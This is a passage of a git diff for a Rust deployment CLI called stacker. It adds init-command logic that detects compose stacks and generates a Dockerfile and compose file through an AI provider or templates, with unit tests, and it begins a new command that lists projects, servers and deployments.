&workspace_detection.recommended_compose_file else { + return Vec::new(); + }; + let Some(stack) = workspace_detection + .compose_stacks + .iter() + .find(|stack| &stack.path == compose_file) + else { + return Vec::new(); + }; + + workspace_detection + .apps + .iter() + .filter_map(|app| { + let service = stack + .detected_services + .iter() + .find(|service| service.name == app.name)?; + if !service_uses_properties_volume(service) { + return None; + } + + let app_dir = project_dir.join(&app.path); + let private_key = app_dir.join("properties/private.pem"); + let public_key = app_dir.join("properties/public.pem"); + if private_key.exists() || public_key.exists() { + return None; + } + + if !tree_contains_any( + &app_dir, + &["properties/private.pem", "properties/public.pem"], + 6, + ) { + return None; + } + + Some(format!( + "{} mounts /app/properties but scan did not find a checked-in keypair or generator service. The app source references properties/private.pem and properties/public.pem, so bootstrap that volume before local deploy.", + app.path.display() + )) + }) + .collect() +} + +fn service_uses_properties_volume(service: &DetectedComposeService) -> bool { + service.volumes.iter().any(|volume| { + volume.contains(":/app/properties") + || volume.ends_with(":/properties") + || volume == "/app/properties" + || volume.ends_with("/app/properties") + }) +} + +fn tree_contains_any(base: &Path, needles: &[&str], max_depth: usize) -> bool { + if max_depth == 0 { + return false; + } + + let Ok(entries) = std::fs::read_dir(base) else { + return false; + }; + + for entry in entries.flatten() { + let path = entry.path(); + if path.is_dir() { + if tree_contains_any(&path, needles, max_depth - 1) { + return true; + } + continue; + } + + let Some(extension) = path.extension().and_then(|value| value.to_str()) else { + continue; + }; + if !matches!(extension, "rs" | "md" | "toml" | "yml" | "yaml") { + continue; + } + + let Ok(contents) = std::fs::read_to_string(&path) else { + continue; + }; + if needles.iter().any(|needle| contents.contains(needle)) { + return true; + } + } + + false +} + +fn importable_compose_services( + workspace_detection: &WorkspaceDetection, + primary_app: Option<&DiscoveredApp>, +) -> Vec { + let Some(compose_file) = &workspace_detection.recommended_compose_file else { + return Vec::new(); + }; + let Some(stack) = workspace_detection + .compose_stacks + .iter() + .find(|stack| &stack.path == compose_file) + else { + return Vec::new(); + }; + + let primary_app_name = primary_app.map(|app| app.name.as_str()); + + stack + .detected_services + .iter() + .filter_map(|service| compose_service_to_definition(service, primary_app_name)) + .collect() +} + +fn compose_service_to_definition( + service: &DetectedComposeService, + primary_app_name: Option<&str>, +) -> Option { + if primary_app_name == Some(service.name.as_str()) { + return None; + } + + Some(ServiceDefinition { + name: service.name.clone(), + image: normalize_compose_string(&service.image.clone()?)?, + ports: service + .ports + .iter() + .filter_map(|value| normalize_compose_string(value)) + .collect(), + environment: service + .environment + .iter() + .filter_map(|(key, value)| Some((key.clone(), normalize_compose_string(value)?))) + .collect(), + volumes: service + .volumes + .iter() + .filter_map(|value| normalize_compose_string(value)) + .collect(), + depends_on: service.depends_on.clone(), + }) +} + +fn normalize_compose_string(value: &str) -> Option { + let pattern = regex::Regex::new(r"\$\{([^}:?+-]+)(?:(:?[-?+])([^}]*))?\}").ok()?; + let mut normalized = value.to_string(); + + for capture in pattern.captures_iter(value) { + let full_match = capture.get(0)?.as_str(); + let var_name = capture.get(1)?.as_str(); + let operator = capture.get(2).map(|matched| matched.as_str()); + let operand = capture.get(3).map(|matched| matched.as_str()).unwrap_or(""); + + let replacement = match operator { + None => full_match.to_string(), + Some(":-") | Some("-") => operand.to_string(), + Some(":?") | Some("?") => continue, + Some(":+") | Some("+") => operand.to_string(), + _ => var_name.to_string(), + }; + + normalized = normalized.replace(full_match, &replacement); + } + + Some(normalized) +} + +/// Output directory for generated artifacts. +const OUTPUT_DIR: &str = ".stacker"; + +fn summarize_top_level_entries(project_dir: &Path, limit: usize) -> String { + let mut entries: Vec = match std::fs::read_dir(project_dir) { + Ok(iter) => iter + .filter_map(|item| item.ok()) + .filter_map(|entry| entry.file_name().into_string().ok()) + .collect(), + Err(_) => return "(unable to read project directory)".to_string(), + }; + + entries.sort(); + if entries.len() > limit { + entries.truncate(limit); + } + + if entries.is_empty() { + "(empty directory)".to_string() + } else { + entries.join(", ") + } +} + +fn collect_generation_context(project_dir: &Path, config: &StackerConfig) -> Vec { + let mut context = Vec::new(); + + let config_yaml = serde_yaml::to_string(config) + .unwrap_or_else(|_| "(failed to serialize stacker.yml context)".to_string()); + + context.push(format!("Project path: {}", project_dir.display())); + context.push(format!("Detected app type: {}", config.app.app_type)); + context.push(format!( + "Top-level project entries: {}", + summarize_top_level_entries(project_dir, 50) + )); + context.push(format!("stacker.yml:\n{}", config_yaml)); + + let package_json_path = project_dir.join("package.json"); + if let Ok(package_json) = std::fs::read_to_string(&package_json_path) { + context.push(format!("package.json:\n{}", package_json)); + + if let Ok(pkg_json) = serde_json::from_str::(&package_json) { + if let Some(scripts) = pkg_json.get("scripts") { + context.push(format!("Detected package.json scripts: {}", scripts)); + } + if let Some(main) = pkg_json.get("main").and_then(|v| v.as_str()) { + context.push(format!("Detected package.json main entry: {}", main)); + } + if let Some(module) = pkg_json.get("module").and_then(|v| v.as_str()) { + context.push(format!("Detected package.json module entry: {}", module)); + } + } + } + + let pyproject_path = project_dir.join("pyproject.toml"); + if let Ok(pyproject) = std::fs::read_to_string(&pyproject_path) { + context.push(format!("pyproject.toml:\n{}", pyproject)); + } + + let requirements_path = project_dir.join("requirements.txt"); + if let Ok(requirements) = std::fs::read_to_string(&requirements_path) { + context.push(format!("requirements.txt:\n{}", requirements)); + } + + let candidate_entries = [ + "server.js", + "app.js", + "index.js", + "main.js", + "dist/index.js", + "dist/server.js", + "src/main.rs", + "main.py", + ]; + + let existing_entries: Vec<&str> = candidate_entries + .iter() + .copied() + .filter(|path| project_dir.join(path).exists()) + .collect(); + + context.push(format!( + "Known entrypoint candidates found: {}", + if existing_entries.is_empty() { + "(none)".to_string() + } else { + existing_entries.join(", ") + } + )); + + let lockfiles = [ + "package-lock.json", + "pnpm-lock.yaml", + "yarn.lock", + "Cargo.lock", + ]; + let found_lockfiles: Vec<&str> = lockfiles + .iter() + .copied() + .filter(|file| project_dir.join(file).exists()) + .collect(); + if !found_lockfiles.is_empty() { + context.push(format!( + "Detected lockfiles: {}", + found_lockfiles.join(", ") + )); + } + + context +} + +fn generate_dockerfile_with_ai( + project_dir: &Path, + config: &StackerConfig, + ai_config: &AiConfig, + provider: &dyn AiProvider, +) -> Result { + let context = collect_generation_context(project_dir, config); + + let prompt = format!( + "Generate a production-ready Dockerfile for this project.\n\n{}\n\nRequirements:\n- Output ONLY Dockerfile text, no markdown fences or explanation.\n- The Dockerfile must be runnable for the detected app type.\n- Prefer startup commands that exist in project metadata (e.g., package.json scripts).\n- Do NOT reference files unless they exist in the provided context.\n- Avoid placeholder commands (like hardcoded server.js) unless that file is explicitly present.\n- Expose the correct application port.\n- Keep the build deterministic and cache-friendly (copy lockfiles first where applicable).", + context.join("\n\n") + ); + + let system = "You are an expert Docker engineer. Return only valid Dockerfile content."; + let raw = if ai_config.provider == AiProviderType::Ollama { + eprintln!("🧠 AI reasoning for Dockerfile (streaming)..."); + let response = ollama_complete_streaming(ai_config, &prompt, system)?; + eprintln!(); + response + } else { + provider.complete(&prompt, system)? + }; + let dockerfile = strip_code_fences(&raw); + + if !dockerfile + .lines() + .any(|line| line.trim_start().starts_with("FROM ")) + { + return Err(CliError::GeneratorError( + "AI generated Dockerfile without a FROM instruction".to_string(), + )); + } + + Ok(dockerfile) +} + +fn generate_compose_with_ai( + project_dir: &Path, + config: &StackerConfig, + dockerfile_path: &Path, + ai_config: &AiConfig, + provider: &dyn AiProvider, +) -> Result { + let context = collect_generation_context(project_dir, config); + + let dockerfile_rel = dockerfile_path + .strip_prefix(project_dir) + .unwrap_or(dockerfile_path) + .to_string_lossy() + .to_string(); + + let prompt = format!( + "Generate a docker compose YAML file for this project.\n\n{}\n\nRequirements:\n- Output ONLY YAML, no markdown fences or explanation.\n- Include a top-level 'services' map.\n- The compose file will be written under `.stacker/`, so for the main app service set build context to `..` and dockerfile to '{}'.\n- Do NOT use build context '.' when dockerfile points to `.stacker/` because Docker would miss project files.\n- Include ports based on app type and include sidecar services from stacker.yml where relevant.\n- Keep the file compatible with `docker compose` (plugin).", + context.join("\n\n"), dockerfile_rel + ); + + let system = + "You are an expert Docker Compose engineer. Return only valid docker compose YAML."; + let raw = if ai_config.provider == AiProviderType::Ollama { + eprintln!("🧠 AI reasoning for compose (streaming)..."); + let response = ollama_complete_streaming(ai_config, &prompt, system)?; + eprintln!(); + response + } else { + provider.complete(&prompt, system)? + }; + let compose = strip_code_fences(&raw); + + let parsed: serde_yaml::Value = serde_yaml::from_str(&compose) + .map_err(|e| CliError::GeneratorError(format!("AI generated invalid compose YAML: {e}")))?; + + if parsed.get("services").is_none() { + return Err(CliError::GeneratorError( + "AI generated compose YAML without top-level 'services'".to_string(), + )); + } + + Ok(compose) +} + +impl CallableTrait for InitCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + + let config_path = generate_config_full( + &project_dir, + self.app_type.as_deref(), + self.with_proxy, + self.with_ai, + self.ai_provider.as_deref(), + self.ai_model.as_deref(), + self.ai_api_key.as_deref(), + )?; + + eprintln!("✓ Created {}", config_path.display()); + + if self.with_cloud { + eprintln!("☁ Running cloud setup wizard..."); + let path_str = config_path.to_string_lossy().to_string(); + let applied = + crate::console::commands::cli::config::run_setup_cloud_interactive(&path_str)?; + for item in applied { + eprintln!(" - {}", item); + } + } + + // Verify the generated file is parseable + let config = StackerConfig::from_file(&config_path)?; + eprintln!(" Project: {} ({})", config.name, config.app.app_type); + + if self.with_proxy || config.proxy.proxy_type != ProxyType::None { + eprintln!(" Proxy: enabled ({})", config.proxy.proxy_type); + } + if config.ai.enabled { + eprintln!(" AI: enabled ({})", config.ai.provider); + } + if !config.services.is_empty() { + eprintln!( + " Services: {}", + config + .services + .iter() + .map(|s| s.name.as_str()) + .collect::>() + .join(", ") + ); + } + + // Generate .stacker/ directory with Dockerfile and docker-compose.yml + let output_dir = project_dir.join(OUTPUT_DIR); + std::fs::create_dir_all(&output_dir)?; + + // Optional AI provider for artifact generation + let ai_runtime = if self.with_ai { + match resolve_ai_config( + self.ai_provider.as_deref(), + self.ai_model.as_deref(), + self.ai_api_key.as_deref(), + ) { + Ok(ai_cfg) => match create_provider(&ai_cfg) { + Ok(provider) => Some((ai_cfg, provider)), + Err(e) => { + eprintln!("⚠ AI artifact generation unavailable: {}", e); + None + } + }, + Err(e) => { + eprintln!("⚠ AI artifact generation unavailable: {}", e); + None + } + } + } else { + None + }; + + // Generate Dockerfile + let needs_dockerfile = config.app.image.is_none() && config.app.dockerfile.is_none(); + if self.with_ai { + let dockerfile_path = output_dir.join("Dockerfile"); + let mut generated = false; + + if let Some((ref ai_cfg, ref provider)) = ai_runtime { + match generate_dockerfile_with_ai(&project_dir, &config, ai_cfg, provider.as_ref()) + { + Ok(dockerfile) => { + std::fs::write(&dockerfile_path, dockerfile)?; + eprintln!("✓ Generated {}/Dockerfile (AI)", OUTPUT_DIR); + generated = true; + } + Err(e) => { + eprintln!("⚠ AI Dockerfile generation failed: {}", e); + eprintln!(" Falling back to template Dockerfile generation."); + } + } + } + + if !generated { + let builder = DockerfileBuilder::for_project(&project_dir, config.app.app_type); + builder.write_to(&dockerfile_path, true)?; + eprintln!("✓ Regenerated {}/Dockerfile (template)", OUTPUT_DIR); + } + } else if needs_dockerfile { + let dockerfile_path = output_dir.join("Dockerfile"); + let builder = DockerfileBuilder::for_project(&project_dir, config.app.app_type); + builder.write_to(&dockerfile_path, false)?; + eprintln!("✓ Generated {}/Dockerfile", OUTPUT_DIR); + } + + // Generate docker-compose.yml + if self.with_ai { + let compose_path = output_dir.join("docker-compose.yml"); + let dockerfile_path = output_dir.join("Dockerfile"); + let mut generated = false; + + if let Some((ref ai_cfg, ref provider)) = ai_runtime { + match generate_compose_with_ai( + &project_dir, + &config, + &dockerfile_path, + ai_cfg, + provider.as_ref(), + ) { + Ok(compose_yaml) => { + std::fs::write(&compose_path, compose_yaml)?; + eprintln!("✓ Generated {}/docker-compose.yml (AI)", OUTPUT_DIR); + generated = true; + } + Err(e) => { + eprintln!("⚠ AI compose generation failed: {}", e); + eprintln!(" Falling back to template compose generation."); + } + } + } + + if !generated { + let compose = ComposeDefinition::try_from(&config)?; + compose.write_to(&compose_path, true)?; + eprintln!("✓ Regenerated {}/docker-compose.yml (template)", OUTPUT_DIR); + } + } else if config.deploy.compose_file.is_none() { + let compose_path = output_dir.join("docker-compose.yml"); + let compose = ComposeDefinition::try_from(&config)?; + compose.write_to(&compose_path, false)?; + eprintln!("✓ Generated {}/docker-compose.yml", OUTPUT_DIR); + } + + eprintln!("\nNext steps:"); + eprintln!(" stacker config validate # Check configuration"); + eprintln!(" stacker deploy --target local --dry-run # Preview deployment"); + eprintln!(" stacker deploy --target local # Deploy locally"); + + if self.with_ai { + maybe_bootstrap_website_scenario( + &project_dir, + &config_path, + &config, + ai_runtime + .as_ref() + .map(|(cfg, provider)| (cfg, provider.as_ref())), + )?; + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + struct MockAiProvider { + responses: std::sync::Mutex>, + } + + impl MockAiProvider { + fn new(responses: Vec<&str>) -> Self { + Self { + responses: std::sync::Mutex::new( + responses.into_iter().map(|s| s.to_string()).collect(), + ), + } + } + } + + impl AiProvider for MockAiProvider { + fn name(&self) -> &str { + "mock" + } + + fn complete(&self, _prompt: &str, _context: &str) -> Result { + let mut queue = self.responses.lock().unwrap(); + if let Some(next) = queue.pop_front() { + return Ok(next); + } + + Err(CliError::AiProviderError { + provider: "mock".to_string(), + message: "No mock response configured".to_string(), + }) + } + } + + fn setup_dir_with_files(files: &[&str]) -> TempDir { + let dir = TempDir::new().unwrap(); + for f in files { + std::fs::write(dir.path().join(f), "").unwrap(); + } + dir + } + + fn setup_dir_with_nested_files(files: &[(&str, &str)]) -> TempDir { + let dir = TempDir::new().unwrap(); + for (path, content) in files { + let file_path = dir.path().join(path); + if let Some(parent) = file_path.parent() { + std::fs::create_dir_all(parent).unwrap(); + } + std::fs::write(file_path, content).unwrap(); + } + dir + } + + #[test] + fn test_init_static_project_creates_config() { + let dir = setup_dir_with_files(&["index.html"]); + let result = generate_config(dir.path(), None, false, false); + assert!(result.is_ok()); + + let path = result.unwrap(); + assert!(path.exists()); + + let config = StackerConfig::from_file(&path).unwrap(); + assert_eq!(config.app.app_type, AppType::Static); + } + + #[test] + fn test_init_node_project_detects_correctly() { + let dir = setup_dir_with_files(&["package.json"]); + let result = generate_config(dir.path(), None, false, false); + assert!(result.is_ok()); + + let config = StackerConfig::from_file(&result.unwrap()).unwrap(); + assert_eq!(config.app.app_type, AppType::Node); + } + + #[test] + fn test_init_type_flag_overrides_detection() { + // Dir has package.json (Node) but flag says python + let dir = setup_dir_with_files(&["package.json"]); + let result = generate_config(dir.path(), Some("python"), false, false); + assert!(result.is_ok()); + + let config = StackerConfig::from_file(&result.unwrap()).unwrap(); + assert_eq!(config.app.app_type, AppType::Python); + } + + #[test] + fn test_init_with_proxy_flag_adds_section() { + let dir = setup_dir_with_files(&["index.html"]); + let result = generate_config(dir.path(), None, true, false); + assert!(result.is_ok()); + + let config = StackerConfig::from_file(&result.unwrap()).unwrap(); + assert_eq!(config.proxy.proxy_type, ProxyType::Nginx); + assert!(!config.proxy.domains.is_empty()); + assert!(config.proxy.domains[0].domain.contains("localhost")); + } + + #[test] + fn test_init_with_ai_flag_adds_section() { + let dir = setup_dir_with_files(&["index.html"]); + let result = generate_config(dir.path(), None, false, true); + assert!(result.is_ok()); + + let config = StackerConfig::from_file(&result.unwrap()).unwrap(); + assert!(config.ai.enabled); + assert_eq!(config.ai.provider, AiProviderType::Ollama); + } + + #[test] + fn test_init_does_not_overwrite_existing() { + let dir = setup_dir_with_files(&["index.html", DEFAULT_CONFIG_FILE]); + let result = generate_config(dir.path(), None, false, false); + assert!(result.is_err()); + + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("already exists")); + } + + #[test] + fn test_init_output_parses_as_valid_config() { + let dir = setup_dir_with_files(&["index.html"]); + let path = generate_config(dir.path(), None, false, false).unwrap(); + + // Must be parseable + let result = StackerConfig::from_file(&path); + assert!(result.is_ok()); + } + + #[test] + fn test_init_output_from_compose_validates_without_empty_path_noise() { + let dir = setup_dir_with_nested_files(&[ + ("package.json", r#"{"name":"web","version":"0.1.0"}"#), + ( + "docker-compose.yml", + "services:\n status-panel-web:\n image: trydirect/status-panel-web:latest\n ports:\n - \"3000:3000\"\n environment:\n NEXT_PUBLIC_SITE_URL: https://status.stacker.my\n INTENTIONAL_EMPTY: null\n NODE_ENV: production\n", + ), + ]); + let path = generate_config(dir.path(), None, false, false).unwrap(); + let rendered = std::fs::read_to_string(&path).unwrap(); + let issues = + crate::console::commands::cli::config::run_validate(&path.to_string_lossy()).unwrap(); + + assert_eq!(issues, Vec::::new()); + assert!(rendered.contains("target: local")); + assert!(rendered.contains("type: none")); + assert!(rendered.contains("status_panel: false")); + assert!(rendered.contains("INTENTIONAL_EMPTY: ''")); + assert!(!rendered.contains(": null")); + assert!(!rendered.contains("dockerfile:")); + assert!(!rendered.contains("env_file:")); + assert!(!rendered.contains("hooks:")); + assert!(!rendered.contains("ports: []")); + assert!(!rendered.contains("environment: {}")); + assert!(!rendered.contains("depends_on: []")); + } + + #[test] + fn test_init_empty_dir_defaults_to_custom() { + let dir = TempDir::new().unwrap(); + let result = generate_config(dir.path(), None, false, false); + assert!(result.is_ok()); + + let config = StackerConfig::from_file(&result.unwrap()).unwrap(); + // Empty dir with no recognized files → Custom (detector default) + assert_eq!(config.app.app_type, AppType::Custom); + } + + #[test] + fn test_init_monorepo_reuses_existing_compose_stack() { + let dir = setup_dir_with_nested_files(&[ + ("device-api/Cargo.toml", "[package]\nname = \"device-api\"\nversion = \"0.1.0\"\n"), + ("device-api/Dockerfile", "FROM rust:1.82\n"), + ( + "device-api/src/auth/jwt.rs", + "const PRIVATE_KEY_PATH: &str = \"properties/private.pem\";\nconst PUBLIC_KEY_PATH: &str = \"properties/public.pem\";\n", + ), + ("upload/Cargo.toml", "[package]\nname = \"upload\"\nversion = \"0.1.0\"\n"), + ("upload/Dockerfile", "FROM rust:1.82\n"), + ( + "docker/local/compose.yml", + "include:\n - ../../device-api/docker/local/compose.yml\n - ../../upload/docker/local/compose.yml\n", + ), + ( + "device-api/docker/local/compose.yml", + "services:\n device-api:\n build: .\n volumes:\n - device-api-properties:/app/properties\n", + ), + ( + "upload/docker/local/compose.yml", + "services:\n upload:\n build: .\n image: ${UPLOAD_IMAGE:-upload:local}\n ports:\n - \"8080:8080\"\n redis:\n image: redis:7\n grafana:\n image: grafana/grafana:latest\n environment:\n GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin123}\n", + ), + ]); + + let path = generate_config(dir.path(), None, false, false).unwrap(); + let config = StackerConfig::from_file(&path).unwrap(); + let rendered = std::fs::read_to_string(&path).unwrap(); + + assert_eq!(config.app.path, PathBuf::from("device-api")); + assert_eq!( + config.app.dockerfile, + Some(PathBuf::from("device-api/Dockerfile")) + ); + assert_eq!( + config.deploy.compose_file, + Some(PathBuf::from("docker/local/compose.yml")) + ); + let mut service_names = config + .services + .iter() + .map(|service| service.name.as_str()) + .collect::>(); + service_names.sort(); + assert_eq!(service_names, vec!["grafana", "redis", "upload"]); + let upload = config + .services + .iter() + .find(|service| service.name == "upload") + .unwrap(); + assert_eq!(upload.image, "upload:local"); + assert_eq!(upload.ports, vec!["8080:8080"]); + let grafana = config + .services + .iter() + .find(|service| service.name == "grafana") + .unwrap(); + assert_eq!( + grafana + .environment + .get("GF_SECURITY_ADMIN_PASSWORD") + .map(|value| value.as_str()), + Some("admin123") + ); + assert!(rendered.contains("Discovered apps: device-api [custom], upload [custom]")); + assert!(rendered.contains("Compose services detected: device-api, grafana, redis, upload")); + assert!(rendered.contains("device-api mounts /app/properties but scan did not find a checked-in keypair or generator service")); + } + + #[test] + fn test_parse_app_type_valid() { + assert_eq!(parse_app_type("static").unwrap(), AppType::Static); + assert_eq!(parse_app_type("node").unwrap(), AppType::Node); + assert_eq!(parse_app_type("Python").unwrap(), AppType::Python); + assert_eq!(parse_app_type("RUST").unwrap(), AppType::Rust); + } + + #[test] + fn test_parse_app_type_invalid() { + let result = parse_app_type("java"); + assert!(result.is_err()); + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("Unknown app type")); + } + + // ── AI provider resolution tests ──────────────── + + static AI_CONFIG_ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(()); + + fn clear_ai_config_env() { + std::env::remove_var("STACKER_AI_PROVIDER"); + std::env::remove_var("OPENAI_API_KEY"); + std::env::remove_var("ANTHROPIC_API_KEY"); + std::env::remove_var("STACKER_AI_MODEL"); + std::env::remove_var("STACKER_AI_API_KEY"); + std::env::remove_var("STACKER_AI_ENDPOINT"); + std::env::remove_var("STACKER_AI_TIMEOUT"); + } + + #[test] + fn test_resolve_ai_config_defaults_to_ollama() { + let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap(); + clear_ai_config_env(); + + let config = resolve_ai_config(None, None, None).unwrap(); + assert!(config.enabled); + assert_eq!(config.provider, AiProviderType::Ollama); + assert!(config.api_key.is_none()); + } + + #[test] + fn test_resolve_ai_config_explicit_provider() { + let config = resolve_ai_config( + Some("anthropic"), + Some("claude-sonnet-4-20250514"), + Some("sk-ant-test"), + ) + .unwrap(); + assert_eq!(config.provider, AiProviderType::Anthropic); + assert_eq!(config.model.as_deref(), Some("claude-sonnet-4-20250514")); + assert_eq!(config.api_key.as_deref(), Some("sk-ant-test")); + } + + #[test] + fn test_resolve_ai_config_openai_with_key() { + let config = resolve_ai_config(Some("openai"), None, Some("sk-test123")).unwrap(); + assert_eq!(config.provider, AiProviderType::Openai); + assert_eq!(config.api_key.as_deref(), Some("sk-test123")); + } + + #[test] + fn test_resolve_ai_config_invalid_provider_errors() { + let result = resolve_ai_config(Some("invalid-provider"), None, None); + assert!(result.is_err()); + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("Unknown AI provider")); + } + + #[test] + fn test_resolve_ai_config_env_var_fallback() { + let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap(); + clear_ai_config_env(); + + std::env::set_var("STACKER_AI_PROVIDER", "openai"); + std::env::set_var("OPENAI_API_KEY", "sk-from-env"); + std::env::set_var("STACKER_AI_MODEL", "gpt-4o-mini"); + + let config = resolve_ai_config(None, None, None).unwrap(); + assert_eq!(config.provider, AiProviderType::Openai); + assert_eq!(config.api_key.as_deref(), Some("sk-from-env")); + assert_eq!(config.model.as_deref(), Some("gpt-4o-mini")); + + clear_ai_config_env(); + } + + #[test] + fn test_resolve_ai_config_flag_overrides_env() { + let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap(); + clear_ai_config_env(); + + std::env::set_var("STACKER_AI_PROVIDER", "openai"); + + // Flag says ollama, env says openai — flag wins + let config = resolve_ai_config(Some("ollama"), None, None).unwrap(); + assert_eq!(config.provider, AiProviderType::Ollama); + + clear_ai_config_env(); + } + + #[test] + fn test_resolve_ai_config_timeout_default() { + let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap(); + clear_ai_config_env(); + + let config = resolve_ai_config(None, None, None).unwrap(); + assert_eq!(config.timeout, 300); + } + + #[test] + fn test_resolve_ai_config_timeout_from_env() { + let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap(); + clear_ai_config_env(); + + std::env::set_var("STACKER_AI_TIMEOUT", "900"); + let config = resolve_ai_config(None, None, None).unwrap(); + assert_eq!(config.timeout, 900); + clear_ai_config_env(); + } + + #[test] + fn test_parse_ai_provider_all_valid() { + assert_eq!(parse_ai_provider("openai").unwrap(), AiProviderType::Openai); + assert_eq!( + parse_ai_provider("anthropic").unwrap(), + AiProviderType::Anthropic + ); + assert_eq!(parse_ai_provider("ollama").unwrap(), AiProviderType::Ollama); + assert_eq!(parse_ai_provider("custom").unwrap(), AiProviderType::Custom); + // Case insensitive + assert_eq!(parse_ai_provider("OpenAI").unwrap(), AiProviderType::Openai); + assert_eq!( + parse_ai_provider("ANTHROPIC").unwrap(), + AiProviderType::Anthropic + ); + } + + #[test] + fn test_generate_config_full_template_fallback() { + // with_ai=true but bogus provider → create_provider fails → falls back to template + let dir = setup_dir_with_files(&["package.json"]); + // Use an explicit provider that will fail connection (port 1 is unreachable) + // This avoids hitting a real running Ollama instance + let result = generate_config_full( + dir.path(), + None, + false, + true, + Some("custom"), + None, + Some("fake-key"), + ); + assert!(result.is_ok()); + + let config = StackerConfig::from_file(&result.unwrap()).unwrap(); + // Template fallback still generates correct app type + assert_eq!(config.app.app_type, AppType::Node); + // And includes AI section in config + assert!(config.ai.enabled); + } + + #[test] + fn test_generate_dockerfile_with_ai_strips_fences() { + let dir = setup_dir_with_files(&["package.json"]); + let config = ConfigBuilder::new() + .name("demo") + .version("0.1.0") + .app_type(AppType::Node) + .app_path(".") + .build() + .unwrap(); + + let provider = MockAiProvider::new(vec![ + "```dockerfile\nFROM node:20-alpine\nWORKDIR /app\nCOPY package*.json ./\nRUN npm ci --omit=dev\nCOPY . .\nCMD [\"npm\",\"start\"]\n```", + ]); + + let ai_cfg = AiConfig { + enabled: true, + provider: AiProviderType::Custom, + ..AiConfig::default() + }; + + let dockerfile = + generate_dockerfile_with_ai(dir.path(), &config, &ai_cfg, &provider).unwrap(); + assert!(dockerfile.contains("FROM node:20-alpine")); + assert!(!dockerfile.contains("```")); + } + + #[test] + fn test_generate_compose_with_ai_validates_services_key() { + let dir = setup_dir_with_files(&[]); + let config = ConfigBuilder::new() + .name("demo") + .version("0.1.0") + .app_type(AppType::Node) + .app_path(".") + .build() + .unwrap(); + + let provider = MockAiProvider::new(vec![ + "services:\n app:\n build:\n context: .\n dockerfile: .stacker/Dockerfile\n ports:\n - \"3000:3000\"\n", + ]); + + let ai_cfg = AiConfig { + enabled: true, + provider: AiProviderType::Custom, + ..AiConfig::default() + }; + + let compose = generate_compose_with_ai( + dir.path(), + &config, + &dir.path().join(".stacker").join("Dockerfile"), + &ai_cfg, + &provider, + ) + .unwrap(); + + assert!(compose.contains("services:")); + assert!(compose.contains("dockerfile: .stacker/Dockerfile")); + } +} diff --git a/stacker/stacker/src/console/commands/cli/list.rs b/stacker/stacker/src/console/commands/cli/list.rs new file mode 100644 index 0000000..c06a16d --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/list.rs @@ -0,0 +1,419 @@ +use crate::cli::progress; +use crate::cli::runtime::CliRuntime; +use crate::console::commands::CallableTrait; +use std::fmt::Write as _; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// list projects +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker list projects [--json]` +/// +/// Lists all projects on the Stacker server for the authenticated user. +pub struct ListProjectsCommand { + pub json: bool, +} + +impl ListProjectsCommand { + pub fn new(json: bool) -> Self { + Self { json } + } +} + +impl CallableTrait for ListProjectsCommand { + fn call(&self) -> Result<(), Box> { + let json = self.json; + let ctx = CliRuntime::new("list projects")?; + + ctx.block_on(async { + let projects = ctx.client.list_projects().await?; + + if projects.is_empty() { + eprintln!("No projects found."); + return Ok(()); + } + + if json { + println!("{}", serde_json::to_string_pretty(&projects)?); + } else { + // Table header + println!( + "{:<6} {:<30} {:<26} {:<26}", + "ID", "NAME", "CREATED", "UPDATED" + ); + println!("{}", "─".repeat(90)); + + for p in &projects { + println!( + "{:<6} {:<30} {:<26} {:<26}", + p.id, + truncate(&p.name, 28), + &p.created_at, + &p.updated_at, + ); + } + + eprintln!("\n{} project(s) total.", projects.len()); + } + + Ok(()) + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// list servers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker list servers [--json]` +/// +/// Lists all servers on the Stacker server for the authenticated user. +pub struct ListServersCommand { + pub json: bool, +} + +impl ListServersCommand { + pub fn new(json: bool) -> Self { + Self { json } + } +} + +impl CallableTrait for ListServersCommand { + fn call(&self) -> Result<(), Box> { + let json = self.json; + let ctx = CliRuntime::new("list servers")?; + + ctx.block_on(async { + let servers = ctx.client.list_servers().await?; + + if servers.is_empty() { + eprintln!("No servers found."); + return Ok(()); + } + + if json { + println!("{}", serde_json::to_string_pretty(&servers)?); + } else { + println!( + "{:<6} {:<20} {:<16} {:<10} {:<10} {:<10} {:<12} {:<10}", + "ID", "NAME", "IP", "CLOUD", "REGION", "SIZE", "KEY STATUS", "MODE" + ); + println!("{}", "─".repeat(100)); + + for s in &servers { + println!( + "{:<6} {:<20} {:<16} {:<10} {:<10} {:<10} {:<12} {:<10}", + s.id, + truncate(&s.name.clone().unwrap_or_else(|| "-".to_string()), 18), + s.srv_ip.clone().unwrap_or_else(|| "-".to_string()), + s.cloud.clone().unwrap_or_else(|| "-".to_string()), + truncate(&s.region.clone().unwrap_or_else(|| "-".to_string()), 8), + truncate(&s.server.clone().unwrap_or_else(|| "-".to_string()), 8), + &s.key_status, + &s.connection_mode, + ); + } + + eprintln!("\n{} server(s) total.", servers.len()); + } + + Ok(()) + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// list deployments +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker list deployments [--project ] [--limit ] 